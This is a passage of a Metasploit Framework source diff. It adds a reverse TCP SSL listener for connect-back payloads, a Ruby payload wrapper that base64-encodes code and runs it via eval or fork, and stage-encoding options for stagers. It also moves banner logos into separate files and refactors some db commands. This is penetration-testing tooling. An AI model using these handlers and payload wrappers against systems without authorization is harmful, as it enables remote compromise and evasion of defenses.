begin + while true + # Handle data from the server and write to the client + if (@sock_out.has_read_data?(0.50)) + buf = @sock_out.get_once + break if buf.nil? + rsock.put(buf) + end + end + rescue ::Exception => e + ilog("ReverseTcpDoubleSSL monitor thread raised #{e.class}: #{e}") + end + + # Clean up the sockets... + begin + @sock_inp.close + @sock_out.close + rescue ::Exception + end + } + end + + def write(buf, opts={}) + @sock_inp.write(buf, opts) + end + + def read(length=0, opts={}) + @sock_out.read(length, opts) + end + + # + # Closes the stream abstraction and kills the monitor thread. + # + def close + @monitor_thread.kill if (@monitor_thread) + @monitor_thread = nil + + cleanup_abstraction + end + + end + + +end + +end +end diff --git a/lib/msf/core/handler/reverse_tcp_ssl.rb b/lib/msf/core/handler/reverse_tcp_ssl.rb new file mode 100644 index 000000000000..996b619b07f7 --- /dev/null +++ b/lib/msf/core/handler/reverse_tcp_ssl.rb @@ -0,0 +1,124 @@ +require 'rex/socket' +require 'thread' + +require 'msf/core/handler/reverse_tcp' + +module Msf +module Handler + +### +# +# This module implements the reverse TCP handler. This means +# that it listens on a port waiting for a connection until +# either one is established or it is told to abort. +# +# This handler depends on having a local host and port to +# listen on. +# +### +module ReverseTcpSsl + + include Msf::Handler::ReverseTcp + + # + # Returns the string representation of the handler type, in this case + # 'reverse_tcp_ssl'. + # + def self.handler_type + return "reverse_tcp_ssl" + end + + # + # Returns the connection-described general handler type, in this case + # 'reverse'. + # + def self.general_handler_type + "reverse" + end + + # + # Initializes the reverse TCP SSL handler and adds the certificate option. + # + def initialize(info = {}) + super + register_advanced_options( + [ + OptPath.new('SSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)']) + ], Msf::Handler::ReverseTcpSsl) + + end + + # + # Starts the listener but does not actually attempt + # to accept a connection. Throws socket exceptions + # if it fails to start the listener. + # + def setup_handler + if datastore['Proxies'] + raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies' + end + + ex = false + # Switch to IPv6 ANY address if the LHOST is also IPv6 + addr = Rex::Socket.resolv_nbo(datastore['LHOST']) + # First attempt to bind LHOST. If that fails, the user probably has + # something else listening on that interface. Try again with ANY_ADDR. + any = (addr.length == 4) ? "0.0.0.0" : "::0" + + addrs = [ Rex::Socket.addr_ntoa(addr), any ] + + comm = datastore['ReverseListenerComm'] + if comm.to_s == "local" + comm = ::Rex::Socket::Comm::Local + else + comm = nil + end + + if not datastore['ReverseListenerBindAddress'].to_s.empty? + # Only try to bind to this specific interface + addrs = [ datastore['ReverseListenerBindAddress'] ] + + # Pick the right "any" address if either wildcard is used + addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0") + end + addrs.each { |ip| + begin + + comm.extend(Rex::Socket::SslTcp) + self.listener_sock = Rex::Socket::SslTcpServer.create( + 'LocalHost' => datastore['LHOST'], + 'LocalPort' => datastore['LPORT'].to_i, + 'Comm' => comm, + 'SSLCert' => datastore['SSLCert'], + 'Context' => + { + 'Msf' => framework, + 'MsfPayload' => self, + 'MsfExploit' => assoc_exploit + }) + + ex = false + + comm_used = comm || Rex::Socket::SwitchBoard.best_comm( ip ) + comm_used = Rex::Socket::Comm::Local if comm_used == nil + + if( comm_used.respond_to?( :type ) and comm_used.respond_to?( :sid ) ) + via = "via the #{comm_used.type} on session #{comm_used.sid}" + else + via = "" + end + + print_status("Started reverse SSL handler on #{ip}:#{datastore['LPORT']} #{via}") + break + rescue + ex = $! + print_error("Handler failed to bind to #{ip}:#{datastore['LPORT']}") + end + } + raise ex if (ex) + end + +end + +end +end diff --git a/lib/msf/core/module/platform.rb b/lib/msf/core/module/platform.rb index d1be479c301d..357c4e724be4 100644 --- a/lib/msf/core/module/platform.rb +++ b/lib/msf/core/module/platform.rb @@ -479,4 +479,20 @@ class PHP < Msf::Module::Platform Rank = 100 Alias = "php" end + + # + # JavaScript + # + class JavaScript < Msf::Module::Platform + Rank = 100 + Alias = "js" + end + + # + # Python + # + class Python < Msf::Module::Platform + Rank = 100 + Alias = "python" + end end diff --git a/lib/msf/core/payload/java.rb b/lib/msf/core/payload/java.rb index 37e563e6eed6..851ffb4aaade 100644 --- a/lib/msf/core/payload/java.rb +++ b/lib/msf/core/payload/java.rb @@ -35,15 +35,14 @@ def generate end # - # Used by stagers to create a jar file as a Rex::Zip::Jar. Stagers define - # a list of class files in @class_files which are pulled from - # Msf::Config.data_directory. The configuration file is created by the - # payload's #config method. - # - # +opts+ can include: - # +:main_class+:: the name of the Main-Class attribute in the manifest. - # Defaults to "metasploit.Payload" + # Used by stagers to create a jar file as a {Rex::Zip::Jar}. Stagers + # define a list of class files in @class_files which are pulled from + # {Msf::Config.data_directory}. The configuration file is created by + # the payload's #config method. # + # @option opts :main_class [String] the name of the Main-Class + # attribute in the manifest. Defaults to "metasploit.Payload" + # @return [Rex::Zip::Jar] def generate_jar(opts={}) raise if not respond_to? :config # Allow changing the jar's Main Class in the manifest so wrappers @@ -63,12 +62,12 @@ def generate_jar(opts={}) end # - # Like #generate_jar, this method is used by stagers to create a war file + # Like {#generate_jar}, this method is used by stagers to create a war file # as a Rex::Zip::Jar object. # - # +opts+ can include: - # +:app_name+:: the name of the \ attribute in the web.xml. - # Defaults to "NAME" + # @param opts [Hash] + # @option :app_name [String] Name of the \ attribute in the + # web.xml. Defaults to random # def generate_war(opts={}) raise if not respond_to? :config diff --git a/lib/msf/core/payload/ruby.rb b/lib/msf/core/payload/ruby.rb new file mode 100644 index 000000000000..46980e348c34 --- /dev/null +++ b/lib/msf/core/payload/ruby.rb @@ -0,0 +1,39 @@ +# -*- coding: binary -*- +require 'msf/core' + +module Msf::Payload::Ruby + + def initialize(info = {}) + super(info) + + register_advanced_options( + [ + # Since space restrictions aren't really a problem, default this to + # true. + Msf::OptBool.new('PrependFork', [ false, "Start the payload in its own process via fork or popen", "true" ]) + ] + ) + end + + def prepends(buf) + if datastore['PrependFork'] + buf = %Q^ + code = %(#{ Rex::Text.encode_base64(buf) }).unpack(%(m0)).first + if RUBY_PLATFORM =~ /mswin|mingw|win32/ + inp = IO.popen(%(ruby), %(wb)) rescue nil + if inp + inp.write(code) + inp.close + end + else + if ! Process.fork() + eval(code) rescue nil + end + end + ^.strip.split(/\n/).map{|line| line.strip}.join("\n") + end + + buf + end + +end diff --git a/lib/msf/core/payload/stager.rb b/lib/msf/core/payload/stager.rb index 45674bc0f10e..c8db9f84627f 100644 --- a/lib/msf/core/payload/stager.rb +++ b/lib/msf/core/payload/stager.rb @@ -1,5 +1,6 @@ # -*- coding: binary -*- require 'msf/core' +require 'msf/core/option_container' ### # @@ -8,6 +9,17 @@ ### module Msf::Payload::Stager + def initialize(info={}) + super + + register_advanced_options( + [ + Msf::OptBool.new("EnableStageEncoding", [ false, "Encode the second stage payload", false ]), + Msf::OptString.new("StageEncoder", [ false, "Encoder to use if EnableStageEncoding is set", nil ]), + ], Msf::Payload::Stager) + + end + # # Sets the payload type to a stager. # @@ -18,6 +30,9 @@ def payload_type # # Return the stager payload's raw payload. # + # Can be nil if the stager is not pre-assembled. + # + # @return [String,nil] def payload return module_info['Stager']['Payload'] end @@ -25,6 +40,7 @@ def payload # # Return the stager payload's assembly text, if any. # + # @return [String,nil] def assembly return module_info['Stager']['Assembly'] end @@ -32,6 +48,9 @@ def assembly # # Return the stager payload's offsets. # + # These will be used for substitutions during stager generation. + # + # @return [Hash] def offsets return module_info['Stager']['Offsets'] end @@ -39,6 +58,9 @@ def offsets # # Returns the raw stage payload. # + # Can be nil if the final stage is not pre-assembled. + # + # @return [String,nil] def stage_payload return module_info['Stage']['Payload'] end @@ -46,6 +68,7 @@ def stage_payload # # Returns the assembly text of the stage payload. # + # @return [String] def stage_assembly return module_info['Stage']['Assembly'] end @@ -53,6 +76,10 @@ def stage_assembly # # Returns variable offsets within the stage payload. # + # These will be used for substitutions during generation of the final + # stage. + # + # @return [Hash] def stage_offsets return module_info['Stage']['Offsets'] end @@ -65,9 +92,20 @@ def stage_over_connection? true end + + # + # Whether to use an Encoder on the second stage + # + # @return [Boolean] + def encode_stage? + # Convert to string in case it hasn't been normalized + !!(datastore['EnableStageEncoding'].to_s == "true") + end + # # Generates the stage payload and substitutes all offsets. # + # @return [String] The generated payload stage, as a string. def generate_stage # Compile the stage as necessary p = build(stage_payload, stage_assembly, stage_offsets, '-stg1') @@ -75,21 +113,23 @@ def generate_stage # Substitute variables in the stage substitute_vars(p, stage_offsets) if (stage_offsets) - # Encode the stage of stage encoding is enabled - #p = encode_stage(p) - return p end # # Transmit the associated stage. # + # @param (see handle_connection_stage) + # @return (see handle_connection_stage) def handle_connection(conn, opts={}) # If the stage should be sent over the client connection that is # established (which is the default), then go ahead and transmit it. if (stage_over_connection?) p = generate_stage + # Encode the stage if stage encoding is enabled + p = encode_stage(p) + # Give derived classes an opportunity to an intermediate state before # the stage is sent. This gives derived classes an opportunity to # augment the stage and the process through which it is read on the @@ -101,14 +141,15 @@ def handle_connection(conn, opts={}) p = (self.stage_prefix || '') + p end + sending_msg = "Sending #{encode_stage? ? "encoded ":""}stage" + sending_msg << " (#{p.length} bytes)" # The connection should always have a peerhost (even if it's a # tunnel), but if it doesn't, erroring out here means losing the # session, so make sure it does, just to be safe. if conn.respond_to? :peerhost - print_status("Sending stage (#{p.length} bytes) to #{conn.peerhost}") - else - print_status("Sending stage (#{p.length} bytes)") + sending_msg << " to #{conn.peerhost}" end + print_status(sending_msg) # Send the stage conn.put(p) @@ -128,10 +169,15 @@ def handle_connection(conn, opts={}) end # - # Called by handle_connection to allow the stage to process - # whatever it is it needs to process. The default is to simply attempt to - # create a session. + # Allow the stage to process whatever it is it needs to process. # + # Override to deal with sending the final stage in cases where + # {#generate_stage} is not the whole picture, such as when uploading + # an executable. The default is to simply attempt to create a session + # on the given +conn+ socket with {Msf::Handler#create_session}. + # + # @param (see Handler#create_session) + # @return (see Handler#create_session) def handle_connection_stage(conn, opts={}) create_session(conn, opts) end @@ -145,18 +191,25 @@ def handle_intermediate_stage(conn, payload) end # Encodes the stage prior to transmission + # @return [String] Encoded version of +stg+ def encode_stage(stg) + return stg unless encode_stage? - # If DisableStageEncoding is set, we do not encode the stage - return stg if datastore['DisableStageEncoding'] =~ /^(y|1|t)/i + if datastore["StageEncoder"].nil? or datastore["StageEncoder"].empty? + stage_enc_mod = nil + else + stage_enc_mod = datastore["StageEncoder"] + end # Generate an encoded version of the stage. We tell the encoding system # to save edi to ensure that it does not get clobbered. encp = Msf::EncodedPayload.create( self, 'Raw' => stg, + 'Encoder' => stage_enc_mod, 'SaveRegisters' => ['edi'], 'ForceEncode' => true) + print_status("Encoded stage with #{encp.encoder.refname}") # If the encoding succeeded, use the encoded buffer. Otherwise, fall # back to using the non-encoded stage diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb index db841aa46da3..47a0677c1c71 100644 --- a/lib/msf/core/post/file.rb +++ b/lib/msf/core/post/file.rb @@ -274,7 +274,7 @@ def append_file(file_name, data) end # - # Read a local file +local+ and write it as +remote+ on the remote file + # Read a local file +local+ and write it as +remote+ on the remote file # system # def upload_file(remote, local) @@ -304,7 +304,7 @@ def rm_f(*remote_files) # def rename_file(new_file, old_file) #TODO: this is not ideal as the file contents are sent to meterp server and back to the client - write_file(new_file, read_file(old_file)) + write_file(new_file, read_file(old_file)) rm_f(old_file) end alias :move_file :rename_file @@ -315,7 +315,7 @@ def rename_file(new_file, old_file) # Meterpreter-specific file read. Returns contents of remote file # +file_name+ as a String or nil if there was an error # - # You should never call this method directly. Instead, call #read_file + # You should never call this method directly. Instead, call {#read_file} # which will call this if it is appropriate for the given session. # def _read_file_meterpreter(file_name) diff --git a/lib/msf/ui/banner.rb b/lib/msf/ui/banner.rb index c30dc8cdf6f2..5f53bef07e60 100644 --- a/lib/msf/ui/banner.rb +++ b/lib/msf/ui/banner.rb @@ -10,301 +10,52 @@ module Ui module Banner Logos = - [ -%Q{ -%whiCall trans opt: received. 2-19-98 13:24:18 REC:Loc - - Trace program: running - - wake up, Neo... - %bldthe matrix has you%clr - follow the white rabbit. - - knock, knock, Neo. - - (`. ,-, - ` `. ,;' / - `. ,'/ .' - `. X /.' - .-;--''--.._` ` ( - .' / ` - , ` ' Q ' - , , `._ \\ - ,.| ' `-.;_' - : . ` ; ` ` --,.._; - ' ` , ) .' - `._ , ' /_ - ; ,''-,;' ``- - ``-..__``--` -%clr}, - -%Q{%whi - _---------. - .' ####### ;." - .---,. ;@ @@`; .---,.. -." @@@@@'.,'@@ @@@@@',.'@@@@ ". -'-.@@@@@@@@@@@@@ @@@@@@@@@@@@@ @; - `.@@@@@@@@@@@@ @@@@@@@@@@@@@@ .' - "--'.@@@ -.@ @ ,'- .'--" - ".@' ; @ @ `. ;' - |@@@@ @@@ @ . - ' @@@ @@ @@ , - `.@@@@ @@ . - ',@@ @ ; _____________ - ( 3 C ) /|___ / Metasploit! \\ - ;@'. __*__,." \\|--- \\_____________/ - '(.,...."/ -%clr}, -' -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%% % %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%%%%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%%%% %% %%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%% %%%%% -%%%% %% %% % %% %% %%%%% % %%%% %% %%%%%% %% -%%%% %% %% % %%% %%%% %%%% %% %%%% %%%% %% %% %% %%% %% %%% %%%%% -%%%% %%%%%% %% %%%%%% %%%% %%% %%%% %% %% %%% %%% %% %% %%%%% -%%%%%%%%%%%% %%%% %%%%% %% %% % %% %%%% %%%% %%% %%% % -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%% %%%%%%%%%%%%%% -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%% -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -', -' - _ _ -/ \ /\ __ _ __ /_/ __ -| |\ / | _____ \ \ ___ _____ | | / \ _ \ \ -| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -| -|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_ - |/ |____/ \___\/ /\ \\\\___/ \/ \__| |_\ \___\ -', -%Q{ -%whiIIIIII %reddTb.dTb%clr _.---._ -%whi II %red4' v 'B%clr .'"".'/|\`.""'. -%whi II %red6. .P%clr : .' / | \ `. : -%whi II %red'T;. .;P'%clr '.' / | \ `.' -%whi II %red'T; ;P'%clr `. / | \ .' -%whiIIIIII %red'YvP'%clr `-.__|__.-' - -I love shells --egypt -}, -' - , , - / \ - ((__---,,,---__)) - (_) O O (_)_________ - \ _ / |\ - o_o \ M S F | \ - \ _____ | * - ||| WW||| - ||| ||| -', -' -# cowsay++ - ____________ -< metasploit > - ------------ - \ ,__, - \ (oo)____ - (__) )\ - ||--|| * -', - - -'%clr - ______________________________________________________________________________ -| | -| %bld3Kom SuperHack II Logon%clr | -|______________________________________________________________________________| -| | -| | -| | -| User Name: [ %redsecurity%clr ] | -| | -| Password: [ ] | -| | -| | -| | -| %bld[ OK ]%clr | -|______________________________________________________________________________| -| | -|______________________________________________________________________________| -%clr -', - - -'%clr - ______________________________________________________________________________ -| | -| %bld%grnMETASPLOIT CYBER MISSILE COMMAND V4%clr | -|______________________________________________________________________________| - %yel\%clr %yel/%clr %yel/%clr - %yel\%clr . %yel/%clr %yel/%clr x - %yel\%clr %yel/%clr %yel/%clr - %yel\%clr %yel/%clr + %yel/%clr - %yel\%clr + %yel/%clr %yel/%clr - * %yel/%clr %yel/%clr - %yel/%clr . %yel/%clr - X %yel/%clr %yel/%clr X - %yel/%clr %red###%clr - %yel/%clr %red# %bld%%clr%red #%clr - %yel/%clr %red###%clr - . %yel/%clr - . %yel/%clr . %red*%clr . - %yel/%clr - * - + %red*%clr - - %bld^%clr -#### __ __ __ ####### __ __ __ #### -#### %yel/%clr %yel\%clr %yel/%clr %yel\%clr %yel/%clr %yel\%clr ########### %yel/%clr %yel\%clr %yel/%clr %yel\%clr %yel/%clr %yel\%clr #### -################################################################################ -################################################################################ -# %bldWAVE 4%clr ######## %bldSCORE 31337%clr ################################## %bldHIGH FFFFFFFF%clr # -################################################################################ -%clr -', - - -' -%clr%whi -Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f -EFLAGS: 00010046 -eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001 -esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60 -ds: 0018 es: 0018 ss: 0018 -Process Swapper (Pid: 0, process nr: 0, stackpage=80377000) - -%bld -Stack: 90909090990909090990909090 - 90909090990909090990909090 - 90909090.90909090.90909090 - 90909090.90909090.90909090 - 90909090.90909090.09090900 - 90909090.90909090.09090900 - .......................... - cccccccccccccccccccccccccc - cccccccccccccccccccccccccc - ccccccccc................. - cccccccccccccccccccccccccc - cccccccccccccccccccccccccc - .................ccccccccc - cccccccccccccccccccccccccc - cccccccccccccccccccccccccc - .......................... - ffffffffffffffffffffffffff - ffffffff.................. - ffffffffffffffffffffffffff - ffffffff.................. - ffffffff.................. - ffffffff.................. -%clr - -%yelCode: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N4 00 00 00 00%clr -Aiee, Killing Interrupt handler -%redKernel panic: Attempted to kill the idle task! -In swapper task - not syncing -%clr -', -' -%clr -%bluMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM%clr -%bluMMMMMMMMMMM MMMMMMMMMM%clr -%bluMMMN$ vMMMM%clr -%bluMMMNl%clr %bldMMMMM MMMMM%clr %bluJMMMM%clr -%bluMMMNl%clr %bldMMMMMMMN NMMMMMMM%clr %bluJMMMM%clr -%bluMMMNl%clr %bldMMMMMMMMMNmmmNMMMMMMMMM%clr %bluJMMMM%clr -%bluMMMNI%clr %bldMMMMMMMMMMMMMMMMMMMMMMM%clr %blujMMMM%clr -%bluMMMNI%clr %bldMMMMMMMMMMMMMMMMMMMMMMM%clr %blujMMMM%clr -%bluMMMNI%clr %bldMMMMM MMMMMMM MMMMM%clr %blujMMMM%clr -%bluMMMNI%clr %bldMMMMM MMMMMMM MMMMM%clr %blujMMMM%clr -%bluMMMNI%clr %bldMMMNM MMMMMMM MMMMM%clr %blujMMMM%clr -%bluMMMNI%clr %bldWMMMM MMMMMMM MMMM#%clr %bluJMMMM%clr -%bluMMMMR%clr %bld?MMNM MMMMM%clr %blu.dMMMM%clr -%bluMMMMNm%clr %bld`?MMM MMMM`%clr %bludMMMMM%clr -%bluMMMMMMN%clr %bld?MM MM?%clr %bluNMMMMMN%clr -%bluMMMMMMMMNe%clr %bluJMMMMMNMMM%clr -%bluMMMMMMMMMMNm,%clr %blueMMMMMNMMNMM%clr -%bluMMMMNNMNMMMMMNx%clr %bluMMMMMMNMMNMMNM%clr -%bluMMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM%clr -%clr -', -' -%clr ######## # - ################# # - ###################### # - ######################### # - ############################ - ############################## - ############################### - ############################### - ############################## - # ######## # - %red##%clr %red###%clr #### ## - ### ### - #### ### - #### ########## #### - ####################### #### - #################### #### - ################## #### - ############ ## - ######## ### - ######### ##### - ############ ###### - ######## ######### - ##### ######## - ### ######### - ###### ############ - ####################### - # # ### # # ## - ######################## - ## ## ## ## -%clr -', -%Q{ - %whi+-------------------------------------------------------+ - %whi| METASPLOIT by Rapid7 | - %whi+---------------------------+---------------------------+ - %whi| %blu__________________ %whi| | - %whi| %yel==c%blu(______(%yelo%blu(______(_%yel() %whi| %grn|""""""""""""|======\[%red*** %whi| - %whi| %blu)%yel=%blu\\\ %whi| %grn| %whiEXPLOIT %grn\\ %whi| - %whi| %blu// \\\\ %whi| %grn|_____________\\_______ %whi| - %whi| %blu// \\\\ %whi| %grn|==\[%whimsf >%grn\]============\\ %whi| - %whi| %blu// \\\\ %whi| %grn|______________________\\ %whi| - %whi| %blu// %whiRECON %blu\\\\ %whi| %grn\\(@)(@)(@)(@)(@)(@)(@)/ %whi| - %whi| %blu// \\\\ %whi| %grn********************* %whi| - %whi+---------------------------+---------------------------+ - %whi| o O o | %yel\\'\\/\\/\\/'/ %whi| - %whi| o O | %yel)%whi======%yel( %whi| - %whi| o | %yel.' %whiLOOT %yel'. %whi| - %whi| %red|^^^^^^^^^^^^^^\|l%red___ %whi| %yel/ %grn_||__ %yel\\ %whi| - %whi| %red| %whiPAYLOAD %red|%whi""\\%red___, %whi| %yel/ %grn(_||_ %yel\\ %whi| - %whi| %red|________________|__|)__| %whi| %yel| %grn__||_) %yel| %whi| - %whi| %red|(@)(@)"""**|(@)(@)**|(@) %whi| %yel" %grn|| %yel" %whi| - %whi| %yel= = = = = = = = = = = = %whi| %yel'--------------' %whi| - %whi+---------------------------+---------------------------+%clr - %clr -},] - - - + %w{ + wake-up-neo.txt + cow-head.txt + r7-metasploit.txt + figlet.txt + i-heart-shells.txt + branded-longhorn.txt + cowsay.txt + 3kom-superhack.txt + missile-command.txt + null-pointer-deref.txt + metasploit-shield.txt + ninja.txt + workflow.txt + } # # Returns a random metasploit logo. # + + def self.readfile(fname) + base = File.expand_path(File.dirname(__FILE__)) + pathname = File.join(base, "logos", fname) + fdata = "<< Missing banner: #{fname} >>" + begin + raise ArgumentError unless File.readable?(pathname) + raise ArgumentError unless File.stat(pathname).size < 4096 + fdata = File.open(pathname) {|f| f.read f.stat.size} + rescue SystemCallError, ArgumentError + nil + end + return fdata + end + def self.to_s if ENV['GOCOW'] - case rand(2) + case rand(3) when 0 - Logos[1] + self.readfile Logos[1] when 1 - Logos[5] + self.readfile Logos[5] + when 2 + self.readfile Logos[6] end else - Logos[rand(Logos.length)] + self.readfile Logos[rand(Logos.length)] end end diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index e1d17f3d92b2..b1deb090582a 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -2365,6 +2365,7 @@ def tab_complete_option(str, words) return option_values_payloads() if opt.upcase == 'PAYLOAD' return option_values_targets() if opt.upcase == 'TARGET' return option_values_nops() if opt.upcase == 'NOPS' + return option_values_encoders() if opt.upcase == 'StageEncoder' end # Well-known option names specific to auxiliaries diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index c5904248291e..b16fe1007bc3 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -205,6 +205,7 @@ def cmd_hosts(*args) mode = :search delete_count = 0 + rhosts = [] host_ranges = [] search_term = nil @@ -241,7 +242,6 @@ def cmd_hosts(*args) output = args.shift when '-R','--rhosts' set_rhosts = true - rhosts = [] when '-S', '--search' search_term = /#{args.shift}/nmi @@ -280,11 +280,6 @@ def cmd_hosts(*args) range.each do |address| host = framework.db.find_or_create_host(:host => address) print_status("Time: #{host.created_at} Host: host=#{host.address}") - if set_rhosts - # only unique addresses - addr = (host.scope ? host.address + '%' + host.scope : host.address ) - rhosts << addr unless rhosts.include?(addr) - end end end return @@ -323,7 +318,7 @@ def cmd_hosts(*args) tbl << columns if set_rhosts addr = (host.scope ? host.address + '%' + host.scope : host.address ) - rhosts << addr unless rhosts.include?(addr) + rhosts << addr end if mode == :delete host.destroy @@ -344,9 +339,11 @@ def cmd_hosts(*args) # Finally, handle the case where the user wants the resulting list # of hosts to go into RHOSTS. - set_rhosts_from_addrs(rhosts) if set_rhosts + set_rhosts_from_addrs(rhosts.uniq) if set_rhosts print_status("Deleted #{delete_count} hosts") if delete_count > 0 } +## +## end def cmd_services_help @@ -366,10 +363,11 @@ def cmd_services(*args) default_columns = ::Mdm::Service.column_names.sort default_columns.delete_if {|v| (v[-2,2] == "id")} - host_ranges = [] - port_ranges = [] + host_ranges = [] + port_ranges = [] + rhosts = [] delete_count = 0 - search_term = nil + search_term = nil # option parsing while (arg = args.shift) @@ -420,7 +418,6 @@ def cmd_services(*args) output_file = ::File.expand_path(output_file) when '-R','--rhosts' set_rhosts = true - rhosts = [] when '-S', '--search' search_term = /#{args.shift}/nmi @@ -508,7 +505,7 @@ def cmd_services(*args) tbl << columns if set_rhosts addr = (host.scope ? host.address + '%' + host.scope : host.address ) - rhosts << addr unless rhosts.include?(addr) + rhosts << addr end if (mode == :delete) @@ -529,7 +526,7 @@ def cmd_services(*args) # Finally, handle the case where the user wants the resulting list # of hosts to go into RHOSTS. - set_rhosts_from_addrs(rhosts) if set_rhosts + set_rhosts_from_addrs(rhosts.uniq) if set_rhosts print_status("Deleted #{delete_count} services") if delete_count > 0 } @@ -680,6 +677,7 @@ def cmd_creds(*args) host_ranges = [] port_ranges = [] + rhosts = [] svcs = [] search_term = nil @@ -733,7 +731,6 @@ def cmd_creds(*args) end when "-R" set_rhosts = true - rhosts = [] when '-S', '--search' search_term = /#{args.shift}/nmi when "-u","--user" @@ -828,7 +825,7 @@ def cmd_creds(*args) end if set_rhosts addr = (cred.service.host.scope ? cred.service.host.address + '%' + cred.service.host.scope : cred.service.host.address ) - rhosts << addr unless rhosts.include?(addr) + rhosts << addr end creds_returned += 1 end @@ -842,7 +839,7 @@ def cmd_creds(*args) print_status("Wrote services to #{output_file}") end - set_rhosts_from_addrs(rhosts) if set_rhosts + set_rhosts_from_addrs(rhosts.uniq) if set_rhosts print_status "Found #{creds_returned} credential#{creds_returned == 1 ? "" : "s"}." } end @@ -873,6 +870,7 @@ def cmd_notes(*args) set_rhosts = false host_ranges = [] + rhosts = [] search_term = nil while (arg = args.shift) @@ -896,7 +894,6 @@ def cmd_notes(*args) types = typelist.strip().split(",") when '-R','--rhosts' set_rhosts = true - rhosts = [] when '-S', '--search' search_term = /#{args.shift}/nmi when '-h','--help' @@ -954,7 +951,7 @@ def cmd_notes(*args) msg << " host=#{note.host.address}" if set_rhosts addr = (host.scope ? host.address + '%' + host.scope : host.address ) - rhosts << addr unless rhosts.include?(addr) + rhosts << addr end end if (note.service) @@ -971,7 +968,7 @@ def cmd_notes(*args) # Finally, handle the case where the user wants the resulting list # of hosts to go into RHOSTS. - set_rhosts_from_addrs(rhosts) if set_rhosts + set_rhosts_from_addrs(rhosts.uniq) if set_rhosts print_status("Deleted #{delete_count} note#{delete_count == 1 ? "" : "s"}") if delete_count > 0 } @@ -1476,7 +1473,7 @@ def cmd_db_rebuild_cache print_error("The database is not connected") return end - + print_status("Purging and rebuilding the module cache in the background...") framework.threads.spawn("ModuleCacheRebuild", true) do framework.db.purge_all_module_details @@ -1707,4 +1704,3 @@ def each_host_range_chunk(host_ranges, &block) end end end - diff --git a/lib/msf/ui/logos/3kom-superhack.txt b/lib/msf/ui/logos/3kom-superhack.txt new file mode 100644 index 000000000000..e1fda3898167 --- /dev/null +++ b/lib/msf/ui/logos/3kom-superhack.txt @@ -0,0 +1,19 @@ +%clr + ______________________________________________________________________________ +| | +| %bld3Kom SuperHack II Logon%clr | +|______________________________________________________________________________| +| | +| | +| | +| User Name: [ %redsecurity%clr ] | +| | +| Password: [ ] | +| | +| | +| | +| %bld[ OK ]%clr | +|______________________________________________________________________________| +| | +| http://metasploit.pro | +|______________________________________________________________________________|%clr diff --git a/lib/msf/ui/logos/branded-longhorn.txt b/lib/msf/ui/logos/branded-longhorn.txt new file mode 100644 index 000000000000..2b49662ab41d --- /dev/null +++ b/lib/msf/ui/logos/branded-longhorn.txt @@ -0,0 +1,9 @@ + , , + / \ + ((__---,,,---__)) + (_) O O (_)_________ + \ _ / |\ + o_o \ M S F | \ + \ _____ | * + ||| WW||| + ||| ||| diff --git a/lib/msf/ui/logos/cow-head.txt b/lib/msf/ui/logos/cow-head.txt new file mode 100644 index 000000000000..d7746ac21992 --- /dev/null +++ b/lib/msf/ui/logos/cow-head.txt @@ -0,0 +1,16 @@ +%whi + _---------. + .' ####### ;." + .---,. ;@ @@`; .---,.. +." @@@@@'.,'@@ @@@@@',.'@@@@ ". +'-.@@@@@@@@@@@@@ @@@@@@@@@@@@@ @; + `.@@@@@@@@@@@@ @@@@@@@@@@@@@@ .' + "--'.@@@ -.@ @ ,'- .'--" + ".@' ; @ @ `. ;' + |@@@@ @@@ @ . + ' @@@ @@ @@ , + `.@@@@ @@ . + ',@@ @ ; _____________ + ( 3 C ) /|___ / Metasploit! \ + ;@'. __*__,." \|--- \_____________/ + '(.,...."/%clr diff --git a/lib/msf/ui/logos/cowsay.txt b/lib/msf/ui/logos/cowsay.txt new file mode 100644 index 000000000000..15512d455609 --- /dev/null +++ b/lib/msf/ui/logos/cowsay.txt @@ -0,0 +1,8 